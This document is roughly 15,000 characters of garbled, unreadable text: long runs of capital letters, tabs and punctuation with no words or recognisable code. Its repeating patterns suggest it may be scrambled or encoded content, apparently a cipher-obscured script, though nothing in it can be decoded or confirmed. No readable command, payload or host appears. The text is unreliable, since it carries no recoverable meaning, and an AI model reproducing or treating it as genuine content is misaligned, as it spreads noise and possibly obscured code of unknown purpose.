WU<CWR_QUR:\mGGGCUV_^VGGGGZGPPT8SQOCVKGO^JVNKGC_SRV	T

GXG		GGGGGOCVNGGGGGGOC
W8^SQNGGGmC	VSWQTGGZGGGSWTP^8OCVKGGGC
W8^SQN\mmGOFC	VSWQTNG	GGG\mG	G8T OQ^RNO'T
OTQUNOQ^	UOQ_VNOC	VSWQTNKGGGNN\mGGGGGGG]GG	N\mGGGGGGGOC_SRV	T

GAAG8T OQRTNOCUV_^VNGGAAGGCUV_^VGGGGFZZGGGGGGEENGGGmGGGGC8 GZGSWTP^8OCUV_^VKGC
W8^SQN\mmGC8P
P GGGGGZGC8 GXG'T
OTQUNOQ^	UOQ_VNOC8 NKGGGGGGNGG]GGGGGG	\mGGGOQ^	UOQ^RNOC8P
P NNGGmmmGC8 

S GGGGZGGGC8P
P \CZQT_V\CWVRZCBVT\mGOQ^	UOQ^QNO8T OT^RNNNGGmG8	OT
OQ^PNKGGGGGGC
_VQ N\mGGmmmmGGGGGGG\mmGmmmmGGGGmmGGGGGGmGGGGGOQ^	UOQ^RNOC8 

S NNGmGGGGG\mGGmGmGGGGGGGmGGGGOFGGGG _	S^OQ^RNOC8 

S NNGmG	\mGGGmGGOC	S		_WGGGGAAGGGGG _	S^OQ^_NOQ^	UOQ^^NNNGmGGGG8	ORU 8SQTO8T OSUUNNN\mGmGGGGGGGGGOFOC +(%&+4<T
OSVRN:NGGGGGF _	S^OQ^RNOC +(%&+4<T
OSVRN:NNGC +(%&+4<Q^	UOPWWN:GGGZGON\mmmmGC +(%&+4<T
OPWVN:GZGGGG _	S^OPWUNO _	S^OV^QNOC +(%&+4<T
OPWVN:KGGGGGGC	S		_WNN\mGGOOC8 

S <Q^	UOPWTN:NGGAAGT
OPWSNOC8 

S <Q^	UOPWRN:NNGGGGmGGGG
SU^VOC8 

S <8T OPWRN:KGGGGGOC8 

S < _	S^OPWQN:NGGGAAGGGGQ^	UOPWSNOC8 

S <Q^	UOPWQN:NGGXGC8 

S <T
OPWQN:GGG]GEEKGGF
OC8 

S < _	S^OPWPN:NN\mmGGmGGGGCWTQ^GZG\mmGGC_W8
_
VPGZGGGGON\mGGmmGGGGGOOC8 

S < _	S^OSPPN:NGAAGGGT
OQ^RNOC8 

S < _	S^OSPPN:NNGGGGGmGGGC _WGZGGGGGON\mmGGGGGGGGOC8 

S <Q^	UOSPPN:GGCUVS^RPQNGGmGGGGGGGO8T OPWSNOCUVS^RPQNGGAAGGGCUVS^RPQGGGFZZGEENGmGC _W<:GGZGGGCUVS^RPQ\mGGGGGGGmHMG 	GJ GMHmmGGmGC	PRVQGGGGZGGGC +(%&+4<T
OSP^N:\mGGGC _WGGGZGGGWPQ
WUSW OC _WN\mmmmGC +(%&+4< _	S^OSP^N:GZGGGC _W\mGGC_W8
_
VP<T
OSPPN:GGGZGGC _W\mGGGGOFGGGG
OT
OV^QNOC _WKGGC	PRVQNNGGGGGFGGG
O8T OV^QNOC	PRVQKGC _WNNNGGGGmGCWTQ^GGZG\mGGGmmGGGGmGGGmGGGGGOOC8 

S <T
OPW_N:NGGAAGG _	S^OPW^NOC8 

S <Q^	UOPVWN:NNGGGmGGGGGGC _WGGGGGZGGGON\mGGGGmGGGGGGOC8 

S <8T OPVWN:GGCUVS^RPQNGGGGGmGGGGO _	S^OPVVNOCUVS^RPQNGGAAGGGCUVS^RPQGGFZZGEENGmC _W<:GGZGGGGCUVS^RPQ\mGGmGGGGGmGGC	PRVQGGGGGGZGGGC +(%&+4<T
OS_UN:\mmmmGGC _WGGGGGZGWPQ
WUSW OC _WN\mmmGGGGC +(%&+4< _	S^OS_UN:GGGGZGGC _W\mGGGGC_W8
_
VP<8T OPVWN:GGZGGGC _W\mGGGGGGGGGOFG
OT
OV^QNOC _WKGC	PRVQNNGGGFGG
O _	S^OV^QNOC	PRVQKGC _WNNNGGmmmGCWTQ^GGZGGGG\mGGGGmGmHHG
	 G]GG	JmmGGGOOC8 

S <8T OS_RN:NGGAAG8T OPVVNOC8 

S < _	S^OS_RN:NNGmGGC ^T Q^RQGGZGGUTQ	8RO8T OPVUNKGGEEN\mC +(%&+4<Q^	UOPVTN:GGGZGC8 

S <T
OS_RN:\mC_W8
_
VP<Q^	UOPVSN:GGZGGGGC8 

S <8T OPVSN:\mGGGGGO8T OPVRNOC8 

S <T
OPVSN:NGFZZGGG _	S^OPVRNOC ^T Q^RQNNGGmHHG
	GmmGGGG8UQ	
UUO8T OPVQNKGGC8 

S <Q^	UOPVSN:KGGG8T OPVPNN\mUV_ _ON\mGGmGG	OC ^T Q^RQN\mmmGGGmGGC_U
__
W_	GGGGZGOC8 

S <8T OS^VN:NGAAGGGGQ^	UOPW^NOC8 

S <8T OS^VN:NGGXGGGGGC8 

S <T
OS^VN:G]GGON\mmmGGGGGGOOC_U
__
W_	<T
OS_^N:NGGGAAGQ^	UOPVVNOC_U
__
W_	<Q^	UOS_^N:NNGGmGGGGGO8T ORRTNOC_U
__
W_	<T
OS_^N:NGYGGOWUTLWNNGmmmmGC +(%&+4<8T OS__N:GGGZGGGGGC_U
__
W_	<T
OS_^N:\mGGGGGC_W8
_
VP<Q^	UOPV_N:GGZGC_U
__
W_	<Q^	UOPV_N:\mGGGGGGGGmmmGC +(%&+4<T
OS__N:GGGGGZGGGGEE\mC_W8
_
VP<8T OPV_N:GGGGZGEE\m8UQ	
UUOT
OPV^NKGGGGEEKG _	S^OPVPNN\mmmGGGGGmGmGGGGGOOC_U
__
W_	<T
OPUWN:NGGAAGQ^	UOPVVNOC_U
__
W_	<Q^	UOPUVN:NNGmGGGOQ^	UORRTNOC_U
__
W_	<Q^	UOPUVN:NGGGYGGOQL^SNNGGGGmGGGGGC +(%&+4< _	S^OPUUN:GGGZGGGGC_U
__
W_	< _	S^OPUVN:\mGGGGC_W8
_
VP<8T OPUTN:GGGZGGC_U
__
W_	<Q^	UOPUSN:\mGGGGmGGGGGGGGC +(%&+4<Q^	UOPUUN:GZGGGGEE\mGGGC_W8
_
VP<T
OPUSN:GGZGGGEE\mG8UQ	
UUOQ^	UOSVTNKGEEKGQ^	UOPVPNN\mmGGmGGGGGGmGGGCV
	^
 8RGGZGOC8 

S <8T OPURN:NGAAG8T OPUQNOC8 

S < _	S^OPUPN:NGXGGGGC8 

S < _	S^OPUPN:GGG]GGGON\mGGGGGCVP^UGZGGOmGT
OPU_NGZYGGQ^	UOPU_NKmGGGGGQ^	UOPU^NGGZYGGG _	S^OPTWNKmmGGG8T OPTVNGZYGGQ^	UOPTUNKmGGGGGGG _	S^OPTTNGGGZYGGQ^	UOPTSNKm _	S^OPTRNGGGGZYGGG8T OPTQNKmGGG8T OPTPNGGZYGT
OPT_NKmGGQ^	UOPT^NGZYGGG _	S^OPSWNKmmmGQ^	UOPSVNGGGGZYGQ^	UOPSUNKmGGGGN\mGGGGOCVP^UGGGC^8QTGZYGGGC_^U
NGGGGmGOOCV
	^
 8R<C^8QT:NGAAGGGGG _	S^OPVVNOCV
	^
 8R<C^8QT:NGGGAAGGGGQ^	UORRTNOCV
	^
 8R<C^8QT:NGYGGGOUWQ9URUNNGGmGC_W8
_
VP<C_^U
:GGGGGZGGCV
	^
 8R<C^8QT:\mGGGGGGGmGGGmGGGOOC8 

S <Q^	UORTVN:NGGGAAGGGGGQ^	UOPSTNOC8 

S <T
ORTVN:NNGmmCWRU_GZGO	NGGGGGC8 

S < _	S^ORTVN:\mGGGGGGGGOCWRU_GYZGGGGGOUVRL_RNGGGAAGGGCWRU_GG[ZGOWVTPLWVUWVNNGGC_W8
_
VP< _	S^ORTVN:GZGGCWRU_\mGGGGGGGGmGGGOOC8 

S <8T OSU^N:NGGGAAGGGT
OPSSNOC8 

S <8T OSU^N:NNGmC8GGZGGGGGGO	NGGC8 

S < _	S^OPSRN:\mGGGGGOC8GYZGGOUQWLSWNGAAGGGGC8GG[ZGGO_QTWRL^RNNGC_W8
_
VP<Q^	UOPSQN:GGZGC8\mGGGGGGGGmGO
OC_W8
_
VPNNGGGGGmG8	O _	S^OQV_NN\mG8	O8T OQVQNN\m8	O8T OPSPNKGG _	S^OQUUNONN\m8		OQ^	UOPS_NN\mmmGGG 
QRPVON\C8^QS_ZRWLVS\CSQ^RUZC8^QS_JSP\mmmmGGGG RSON\mGGGG	\mGGmmmmGmGGGCQWTVGGZGGGGGG^WS	8_SO8T OPS^NKGN\mGGGmmGGGGOT
OPUQNOCQWTVNNGmGC_W8
_
VPGGZGQ^	UOSUVNOCQWTVKGGGGC_W8
_
VPN\CW
V
QQSUZ7/78.)38*&?H7/78.)38*&?\CV	TZCW
V
QQSULS_\mGmGGGGGGmGGGGGGGO8T OQ^_NO _	S^ORVQNNNGGmGGGC
PP	RGGGZGRW	PTWUON\mmmGGGGGOOC_W8
_
VP<8T ORTVN:NGGAAGGGGGO	NGGGGC_W8
_
VP<Q^	UOPRWN:GGGGYZGGOTV_JV_NGGAAGGO	NGC_W8
_
VP<T
OPRWN:GGG[ZGGGO^QPPVJVWTPVNNGGGGGC
PP	RGGGGZGO	NGC_W8
_
VP< _	S^OPRWN:\mmGGGGGGGG8		OV8 ^PRRPWONKGC_W8
_
VPKGGGC
PP	RN\mGGGGGGmGGGGmGGW^PQUPPW^O8T OPRVNKGGGGGGC_W8
_
VPKGGGGQ^	UOPRUNN\mmmGGGGGGGGOOC_W8
_
VP< _	S^OPRTN:NGGAAGG _	S^OQ^_NO _	S^OPRSNNGGAAGG _	S^OQ^_NOQ^	UOPRRNNGAAGG _	S^OQ^_NO8T OSTPNNNGGGmGC
GZGGGGG8 88	O	U
WPU_ONN\mGGGGGGGOC
GGGAAGO	NGGGGGGC
JY	GGGGGFZZGO	NGC_W8
_
VP<Q^	UOPRTN:NGGGmmGGG888O	U
WPU_ONN\m88	O8T OQUUNONGGLGGGGT
OSSWNOOVWV9_^NKGGOUUSLPQNNKGQ^	UOSTWNKGG	U
WPU_ONN\mGGGmGmG8	O8T OPSPNKGQ^	UOPRQNONN\mGG8	O _	S^OPRPNN\mGGGG8	O8T OQVQNN\mGG8		OT
OPS_NN\m 
QRPVON\m RSON\mGGGGGmmmmGGOCWTQ^NGmGGRS_WW8ON\mGmGGGGO3GGGGC	VRV8UNGGmHHGG	GG07G5"43G&7.GUmmGGGGGGGGSS_UU8OQ^	UOPR_NKGGC	VRV8UN\mGGGGGGO"	GGC	VRV8UNGGGmGGGGGG	GGGGGGmG RT^
U^OQ^	UOPR^NN\mGGmGGGGmmmmmmG		G
SU^VOCQ8VVKGGGGGGC_U_UT	GGGGZGEEKGCT
PGGGZGNmGGmGGGGGGGGGOF
^PURR^_Q
^	SVO _	S^OPR^NNNG	\mGGGGGGGmGGGGmGGGGGC 	R SGGGGGZGG'T
OSWUNOCQ8VVKGGN\mGO8T OPQWNOC 	R SNGAAGQ^	UORRTNOC 	R SNGGGYGGGOW^^_UWLWQQPWNNGGC 	R SGZGG8_PRSPOC 	R SN\mGGGGGGGGGGGOFGGGGC 	R SGGG _	S^ORRTNOC 	R SNG[GGGGGOV^LS_VNGGGGGGQ^	UOTQQNOC 	R SKGQ^	UOPQVNNGFZZGGWNGGGm	\mmGGGOFGGGR	^W8POC 	R SNNGGmGGGSS_UU8OT
OPQUNKGGGG _	S^OPQTNN\mG	\mmGGGO8T OUUSNOT
OPQSNKGGGGGQ^	UOQTTNOC 	R SKGWKGGGGOSWQSLTUNNKGGCRTUP_WNNGGmGGGOC_U_UT	GFZZGGEEGGGGAAGC_U_UT	GFZZGGGCRTUP_W<V:NGmSS_UU8O _	S^OPQRNKGG _	S^OPQQNN\CRUZRRW\C
 PTSZCRUBVS\m	\mGGGGGmC_U_UT	GZGGCRTUP_W<V:\mmmGGGGGGGGGmGGGGSS_UU8OQ^	UOPQRNKG8T OPQPNN\mG	\mGGGmmmGGGGGOFCT
PGAAGG	8
OC_U_UT	KGGGGG _ Q	QTPONNG[ZGGWNGGmGG	\mmmmGC	R_U	WGZGG	
UVUON\mmGGGOFC	R_U	WGGGGGGGQ^	UORRTNOC	R_U	WNGGGGG[GGGGOSUULP_NNGGmGGSS_UU8O8T OPQRNKGGT
OPQ_NN\mGGG	\mmmmGGGGGGGC8
PRGZGGG 8	OQ^	UOV_^NN\mGGGGGOQ^	UOPQWNOC8
PRNGAAGGGGGT
OTQQNOC8
PRKGG8T OPVRNOC 	R SNGIG@@NGGZZZGWNGGGmGGGCRRU	GZGO	NG8T OQTTNOC8
PRKGGT
OTQQNOC8
PRKGGG@@NGGLGVN\mGGGGGGO8T OPRQNONGGJGGGCRRU	GGGGG[GGGO_RUSULVVR_NNGGGGmmGGGGGGG	\mGGGGGmGmGGCT RGZG _	S^OPQ^NOVQ^^WWT
WONNGGGIGGGQ^	UOV_RNGIGGG8T OPVRNOC 	R SN\mGGGGO'Q^	UOR^PNOCT RNNGmGGGC8_WSGZGGGGGG'O	NGGQ^	UOUWUNOCT RN\mGGGGGGOC8_WSGAAGGGGQ^	UOPPWNONGGGJGC8_WSGGGGGG[GOV_URVLQ_VS^NNGGmG	\mGmmGG' _	S^OPPVNOCT RN\mmGGG	OCT RKGC8_WSN\mC
GGZGG\mGGGGGGGO8T OQ^_NO8T OSSRNNGGGGAAG _	S^OPPUNOQ^	UOQTPNNNGGGmGGGGCUQ_GZGGGGGT
OSSRNO
8O@H@NKGGGO8T OPPTNGGGGZYGGOVSJQNKGGGGGGQ^	UOPPSNGZYGGUKGGGQ^	UOTT_NGGGGGGZYGGGNN\mGGGGGGGOFGGGOQ^	UOPPRNO8T OTSUNNGGGGAAGGGGG88OCUQ_NNNGmGGGGGGGC
GGGGGZGO	NGG8
88	8OCUQ_NGYZGGOQLS^SN\mGGGGGGmHHG'GmmmGGmHHG
G
GG5GJmmGGGGGGGGC U_	W

GGZGGG\CVQUVTVZ7/78*&-(581"54.()\C	R
	ZCVQUVTVM_\mGGGGGGGGGGO _	S^OPPQNO _	S^OPPPNNNGmHHG'G
	 J	mmGCP_ 	QP
GGGZGG 8	OQ^	UOPP_NKGGGGGONN\mmmmC U_	W

GGZGGG _	S^OPUQNOCP_ 	QP
NGAAGGQ^	UOPP^NOWRQP^W^QWONKGGCP_ 	QP
KGN\mGGGGGGGGmT8OVQ^^WWT
WONKGGGGOT_QLTSNN\mGGGGGGGGOFGGTST		RVOVQ^^WWT
WONKGGT
VR	OC 	R SNNNGGmGSS_UU8O _	S^OPQRNKGGT
OP_WNN\mG	\mmGW^SS^8OVQ^^WWT
WONN\mGGG	_			_OVQ^^WWT
WONN\mGGOQ^	UOPPQNO8T OP_VNNNGGG'8		O _	S^OP_UNKGVKGOUPPLUTNN\CUTPZJRVQ\C		ZOCUTPYWNXCUTP]JCUTP\mGGGGOFGGGGC
GGAAGG8T OPPQNOQ^	UOSSRNNGGGAAGG8T OPPQNO8T OP_TNNNGGmGGGGGGC
S_RUWVGGGZGJV\mGGGGGGGOC ___PSGGGGGZGGW\GGGC ___PSGG[GGGGGGU\GGC ___PSLLNGGGGGmGGGGGGC	GZGGGGGT
OP_SNO
8OQ^	UOP_RNGGIGGG _	S^OSSWNOO^^^UVLP^NKGGGGGGO^^^^^ULPNNNKGOQ^	UOP_QNGGGZYGOS[[VNKGGQ^	UOPPSNGGGGGZYGGUKGGGGGG _	S^OTT_NGZYGGGNN\mGGGGGGGOT
OPPQNOQ^	UOTSUNNGGAAGGG88OC	NNGmGGGGGGOC ___PSGGGGZZZGGWGGAAGGGGG8T OPPQNO _	S^OP_PNNNGT
OP_PNOUN\mGGGGG		\mmGGGCSW  Q 
GGZGGO	NGGGGG8
88	8OC	N\mGGGGGOCSW  Q 
GGGGGG[GGGOPTLUPNGGGGGQ^	UOP__NOCSW  Q 
KGGGGGGOOPW_JUWRNKGGOSR_LQUNKGGOU_^LUTUNKGGGORW^LVTNKGGGORUULVNKGORVSLVWNKGGOTWLS^QNKGGGGOWUWPLW_NNKGNNGGGmmmmGOC ___PSGZZZGGGGGWGGAAGGGGG8T OPPQNOT
OP_PNNNGG8T OP_PNOUN\mGGGG		\mGGmGGGC
S_RUWVGZGCSW  Q 
\mGG\mGGGmHHG07G%	G%G G	mmGGGGGOC
S_RUWVGGGZZZGGGGJVNGGGGGC
S_RUWVGGGZGGGOSQWLSWN\GmGGGGGGGGGOC
S_RUWVGYZGOS_ULV_NNGGGGmGGGCVPRTVGZGTST		RVOVQ^^WWT
WONKGGGGGT
VR	OC	R_U	WNN\mGGGGOFCVPRTVNGGCVPRTVGGGZGGGGTST		RVOVQ^^WWT
WONKGGGGGGC	R_U	WN\mGG8	O8T OV_^NKGGG8T OPVRNOC 	R SNGIGG@@GIGT
OPPWNONKGGGQ^	UOP_^NN\mGGGOFCVPRTVNGGmGSS_UU8O8T OP^WNKGGGGT
OP^VNGIGGC
S_RUWVN\mGG	\mGmGGGGGGGG	_			_OVQ^^WWT
WONN\mGGGW^SS^8OVQ^^WWT
WONN\mG	
UVUON\mmmmGT VUON\mGCRQGGGGZG _	S^OURPNOVQ^^WWT
WONKGGGT
ORWQNN\mGGGGGGGOO _	S^OP^UNOVQ^^WWT
WONNKG8^	_SWW	ONNGGGGGGCTRU__NGGGGGGmm'Q^	UOPPVNOCTRU__GGGGGGIGGGT
OUWQNGIGGCRQN\mGGGGGG'Q^	UOPPVNOCTRU__GGIGGGGGQ^	UOP^TNGIGCRQN\CPV8V	RZRM_\CRZCPV8V	RJ^\mmmmHHGGGJmmGGGOC U_	W

GGGAAGGGGFTV^T8V	_
ONGGGAAGGT
OP^SNO _	S^OT^RNNNGmCV8GGGGZGGG 8	OQ^	UOPP_NKGGONN\mmmGGGGGGGO8T OP^RNOCV8NGAAGFQ^	UOP^QNOWRQP^W^QWONKGCV8KGGNNGGmGGCV8<:GGZGWRQP^W^QWON\m'8	OT
OPP_NKGGCV8N\mGGmmGC +(%&+4<T
OP^PN:GZGW\mGGGG RSON\mGGGSS_UU8O8T OP^WNKGGGGG8T OP^_NGGIGGC
S_RUWVN\mGG	\mmGmGGGGmGGGGGOC_U_UT	GGFZZGGGGGEENGGmGGGGC +(%&+4<Q^	UOVN:GGGZGGC_U_UT	\mmmmG^ T
	UTSOVQ^^WWT
WONKGGGC_U_UT	N\mGGGmGGGGGOCT
PNGGGmGCS_TR
T	PGZGGQ^	UOURPNOVQ^^WWT
WONKGGT
ORWQNN\mGGGGGOOT
OP^UNOVQ^^WWT
WONNKGGGG8^	_SWW	ONNGGGGC	
RWUNGGmGG'8T OPPVNOC	
RWUGGGIG _	S^OP^^NGIGGCS_TR
T	PN\mGGGGmGGG	OCS_TR
T	PKGC	
RWUN\mmG8UQ	
UUO _	S^O_WWNKGC 	R SKGGGGGG8T OP_^NN\mGGG	
UVUON\mGT VUON\mGGC +(%&+4<8T OP^PN:GZGW\mGGG RSON\mT8OVQ^^WWT
WONKGGGGGOV^_L^SNN\mGGGGGO	_			_OVQ^^WWT
WONNNG^SSSVTOVQ^^WWT
WONN\m8	O _	S^OUVSNKGGGGC_U_UT	GIGG@@GGIGGGGT
OPPWNONKGGQ^	UOP_^NN\mGGGGGGGGGGGO3GGC	VRV8UNGmGGGGSS_UU8OT
OP^WNKGGGGGGC	VRV8UN\mmmmGGGO"	GGGGGC	VRV8UNGGGGmHHGGGG5GJmmG	GmG RT^
U^OT
O_WVNN\mmGGmGGmGGG		GG VWS	SONmGGGGGGmHHGG GG07G%$	mmmmGGOFGGGGG	OT
O_WUNNGGGGGGGGGGFG _	S^OP^SNOT
O_WTNNNGGGGmHHGGGJJ mmGGGO _	S^O_WSNO&%47&3/GGGGIGGGT
O_WRNNNGGmHHG07GQISG	]GG	 J	mmGGGGGGGG8	GG&%47&3/GGGGGGIG _	S^O_WRN\C	STWQ
_ZOWLWVRN\C	
R
ZC	STWQ
_BVU\mGmGGGGGGGOFGGGGGG8T OP^SNO8T O_WTNNNGGGmHHG7/7G_IVG		]GG	mmmmmGGGG	\mGGGGGGGGmHHG' J	GJmmGmHHG	G	mmGC WQQPV8VGGGGZG 8 	ON\mGGGGGGGOFGGQ^	UOP^RNOC WQQPV8VNNGGGmmGGGGG	\mmGGmGGGGGGCGZGGGON\mGGGGGGOC WQQPV8VGGGC	
GGGGGZYGGC8NGmGGOC	
GZZZGGWRQP^W^QWONNGGGGGmG		\mGGmGGC<C	
:GGGZGGGGGC8\mmmmG	GGC\mmmGmGG		GPVPVOC_KGGCSTNmGGGGGGGGmHHGG	mmmmGGmGGGC WR8GGZGGGGG'Q^	UOR^^NOC_KGGKGGG	KGGWKGGOWTQVPLWSR^^NN\GGGGmGGGOFGC WR8NGGGGmGGG	GGGGGG\mGmmGGGGGGGGmGGGGGGGOCSTGGGGC8Q8R8QNGGGmGmGGGGGGGGOFGGGGGQ^	UOPQWNOC8Q8R8QNGGGGGGFGGGGGC8Q8R8QGGGGGT
ORRTNOC8Q8R8QNGGYGGGGGGOWR^LWRPNNGGGGGmGG		\mmmmGGGGGmmGmGGGGGGGmmmmCPVR^
	Q^PGGZG'T
O_WQNOC8Q8R8QKGGC WR8N\mGGGGGGO3GGGGGGCP _NGGGGmGSS_UU8OQ^	UO_WPNKGGCP _N\mGGGGGGG		\mGGGGGGGGO"	GGGCP _NGmmmG		\mGGGmmGGGGOCPVR^
	Q^PNGm	G\mGmHHG
G	mmGGmG	G\mmGGGmGm		GGGGWVRQSQOC 	8	
NmmmGGGGGmGGCSTGGGGZGGGC +(%&+4<Q^	UO_W_N:\mGGOFGGGGGT
OP^RNOCSTNGGGGG
OCSTNNGGGmm	GG\mmGGGGGGGOFGGG	O _	S^O_WUNNGGGGGGGG
OC 	8	
NGGGGGT
O_W^NOC 	8	
KGT
OUSQNNGFZZGNGmGGGG	G\mGGGmGGGmGGGGGGGGC	W_W_GZGGGGG0787+2 .)8#.5GGGGGIGG@H@GIGGGGC 	8	
\mmmmGGGGGOT
OP^UNOC 	8	
NGGZZZGGG@I@NGGmC8W
QWGGZGGOC	W_W_N\mGGGGGGGGmGCPVWGGZGG _	S^O_VWNOC	W_W_N\mGGGGOFGGGQ^	UOUWRNOCPVWNGGGGFG _	S^O_VVNOCPVWNNGm	G\mGGGGGmC8W
QWGGGGZGG	8V UUPQOCPVWKGO8T O_VUNKGGGGGG _	S^O_VTNKGGT
O_VSNKG8T O_VRNKG _	S^O_VQNNN\mmmmGGmmGGGGGGGGOC8W
QWGGGGGGC_NGGmmGGOFGGGGQ^	UO_VPNOC_NNGGmmGGGGG		\mGmHHG07G%$	]G	JGmmGGGOPVPVOC_KGGGCSTNNGGGm	GG\mGGGmHHG'G
mmGGGGmG	GG\mGGGGGGmGGGG		G	8V UUPQOCPVWKGGGC8T8KGGC_V8W8GGZGGGWKGGGACVQ V_GGGZGGGG	KGGGGAC8SRRT GZGG	NmGGmGCGGGZGON\mmGGOC_V8W8GYGGOWTLWRNNGGmmmmGGGG	GC\mmGGGGGGOCVQ V_GGGGZZZGGGGG	NGGGGGGmGGGGGGCVQ V_GGGZGGGON\mGC8SRRT GZGGG8T OQ^WNONGGLGGGOW^LWVN\mGmmmmGGGGOT
O_V_NONGGGYGGC8SRRT NGGGGGmG	GC\mGGmmGGGOFGGQ^	UOUWRNOCPVWNNGGGGGGmHHG
GmmG	GGGC\mGGGGGGmGGGCRW
UGGGZGG'Q^	UOUTRNOCPVWN\mGGOCRW
UGGGFZZGGNGGGmGGOOCVQ V_<CRW
U:NNGGm	GGC\mmCVQ V_<CRW
U:GZGG\mmmGGGmmGGC^_^W	8GGGZGUVT	PRPOCPVWN\mGGGGOFGGGG _	S^O_V^NOC^_^W	8NNGmGGGGGG	GGC\mmGGmGGGGGOC^_^W	8GGGGGC QW	RNGGmGGGGGOQ^	UO_V_NONGGGGYGGGGGC8SRRT GGGGG _	S^OQ_^NOCNGGGYZGOSWVL^^NNGGmGG\mGmGGGC	W_W_GZGCPVWGGGGIGGGGGG@H@GGIGGC QW	R\mmmmGGGGGGGO' _	S^O_UWNOC	W_W_NNGGGGmGGGGGG		\mmmGGGGGGGGGGGO'T
OUWRNOC	W_W_NNGmGGGGGCGZGT
OSUVNOCKGG	8V UUPQOC	W_W_KGC8T8KGC_V8W8GGGLGVKGCVQ V_KGC8SRRT NN\mGGGGGO'8T O_UVNOC	W_W_NNGmCV_^	UGGGZGG8T O_UUNOC	W_W_KG		OT
O_UTNNN\mGGCV_^	UGZGGGQ^	UOPQWNOCV_^	UNGGGGGXGGGGT
OPPNOCV_^	UNG]GGEE\mGGGGGGGGGGO _	S^OP^QNOCV_^	UKGGC8T8KGGGGGNNGmGGGGGGC<:GGGGZGGGGC	W_W_\CUSVZQ^L^^\C_ZCUSVJSS\mGGGGGmGGmmG	GGGGC\mGmmGGGG		GGG 
Q_TU	OC 	8	
NmGGGGGGmGGGGGGGmGGGGGGGGGOFGG _	S^OPQWNOC 	8	
NGGGGGGFGGC 	8	
NGGmmmmG	GGGG\mmGGGGGOQ^	UO_USNOC 	8	
KGGGGG _	S^OUSQNNGGGGGFZZGNGm	GG\mGmGGGGGmGGC 	8	
GGGGGZGGT
OQ_VNOC 	8	
N\mGGGGGGGOC 	8	
GGZZZGGWRQP^W^QWONNGGGmmmmG	G\mGGmGGmmmmGGGGGOFGGGGGGQ^	UOP^SNOT
O_URNNGAAGGGQ^	UO_WSNO&%47&3/GGGIG _	S^O_UQNNNGGGm8	GGGGG&%47&3/GGGIGGGQ^	UO_UQN\mGmGGmGGGGGO8T O_UPNOT
O_URNNGGAAGGGGG8 	8OC 	8	
NNGmGG8 	OOC 	8	
NKGGGGGGN\GmGmmGGGGGCPVWGGZGG	O _	S^O_U_NNGXGGGG0787+2 .)8#.5GGGGIGGGGGG@H@GGGIGGGQ^	UO_VWNOC 	8	
NGGGG]GGGGEE\mmmGGGGGGOCPVWGAAGQ^	UO_U^NOCPVWNGGGGGGAAGGGT
O_VWNOC 	8	
NGGGFZZGG@I@GAAG8T O_VWNOC 	8	
NNGGGmGO__W8R_TP 8OCPVWNNGGGmGGG	GGGGG\mmmmGGGGGmGGGGmGGmGGO _	S^O_UPNO _	S^O_TWNNNGGmGmGGOFG8T O_UPNOQ^	UO_TVNNGGGGGGGFGG	88	O8T O_TWNNNGmHHG	GJGG07G7 G+mmGGGGGO _	S^O_UPNO8T O_TUNNGGAAGGGG _	S^O_UPNO _	S^O_TTNNNGGmmCGGZGGGGG 8OO8T O_TSNGZYGG _	S^O_TRNKGGQ^	UO_TQNGGZYGGVNN\mGGGGGGGOFG
OCNGGAAGGGGC<W:JY.#NGGGmGGG8T O_TTNOC<W:JY.#N\mGGGGGGGGmmm _	S^O_TTNOVN\mmGGGGmGGGGGGGmGmGGC
SURS	GGZGGG8 	OOC 	8	
NN\mGGGGGOFGGGGGG88OC
SURS	NNGGGGGGmmmGGG	GONGGC
SURS	\mGGGmGGmGG	GGGG\mGmGGGGmG		GGG__W8R_TP 8OCPVWKGGC_V8W8GZGGWNmGGmGGGGGOC_V8W8GGGYGGOVWLQNNGGGGCVQ8V8SZ7/78*&-(581"54.()\C
U
VZCVQ8V8SM^\mGGG	GG\mGGGGGGmmmGGGGGGGOFGG8T OPQWNOCPVWNGGGCPVWGZZZGEEGGG8T O_TPNOCPVWKGGGGGQ^	UOUSQNNGFZZGGGNGmGGGGG	GGG\mmmmGC _ V

GZG' _	S^O_T_NOCPVWN\mGGGGOC _ V

GGZZZGGGGGGGGGFGG8T O_U^NOC _ V

NNGGC	S
ZVQMT\CP^PZC	S
JTT\mGG	G\mmC		
VP
GGZGGG	O _	S^O_U_NNGGXG'8T O_T_NO0787+2 .)8#.5NGG]GG\mGGGGGGGOC		
VP
GGZZZGGGGGOC _ V

GFZZGGC		
VP
GGAAGGGGGG _	S^O_T^NOC _ V

KGGGGGC		
VP
GIGGG#.5"$3(5>84"7&5&3(5NGFZZGGGWNNGGGGm	GGG\CQP_UU8SZOWT_LW^N\C
U^TQPTZCQP_UU8SBVQ\mGGGmGGC	TSP_GGZGGGGG' _	S^OURWNOC _ V

N\mGGGGGGGOFGGQ^	UO_V^NOC	TSP_NNGGmGGG	GG\mGGGGmGGGGGGGGGGGGOC	TSP_GGGGGCST_8QRSNGGGmmmGGGOCST_8QRSGGZZZG@I@GGGGCST_8QRSGGGGZZZG8T OUSQNNGmGGG		\mGGmC	W_W_GGGGGZGGC _ V

GGGGIGGGG		O8T O_SWNNGGIGGGGCST_8QRS\mGGGO'8T O_SVNOC	W_W_NNGmGWT	OC	W_W_N\mGG		\mGGGGmHHGGJmmmGGGGGO'Q^	UO_SUNOC	W_W_NNGGmGGGGG__W8R_TP 8OC	W_W_KGGC_V8W8GGGGLGVN\mmmmGGGGGGC  UWPZOWVLWRN\CPU	
ZC  UWPBQ\mGGOFGGGGGWT	OC	W_W_NNGmT8OC	W_W_KGOWRLWVSRNN\mGGWT	OC	W_W_N\mGGmGGmGGGmGGGGOFG'T
O_STNOC _ V

NNGGGmT8OC _ V

KGGGOS_PLQNN\mmG'8T O_STNOC _ V

N\mGGmHHG07G"	5]GGJmmGGG	GFG'Q^	UO_WSNOC _ V

N\mGGmmGm		GGGRS_WW8ONmGGmmGGGGGGmGGCGZGGGG VWS	SON\mGGOFGQ^	UO_V^NOCNNGGm	\mGmGGGGGmmmmGC	VGGZGGON\mGGGGGCQP8RP GGGGZG\mGGGGGGOT
O_SSNOCNGGC	
NGmHHG07GQITG

	]GGJmmGmGOFGG _	S^OPQWNOC	
NNGmmmmG		\mmmGGGGGGGmGGGGGGGmC8QGZG8T O_VWNOC	
N\mGGGGGGGOC8QGGGZZZG@I@NGGGGmGGGGGGGGC8QGZGGC	
\mGGGGGmGGGGGGOOC	V<C8Q:NNGGmGGG		\mGGmGGGmC	V<C8Q:GGGGZGG\mGGOWVRQSQOC	
NNGGmGG 
Q_TU	OC	
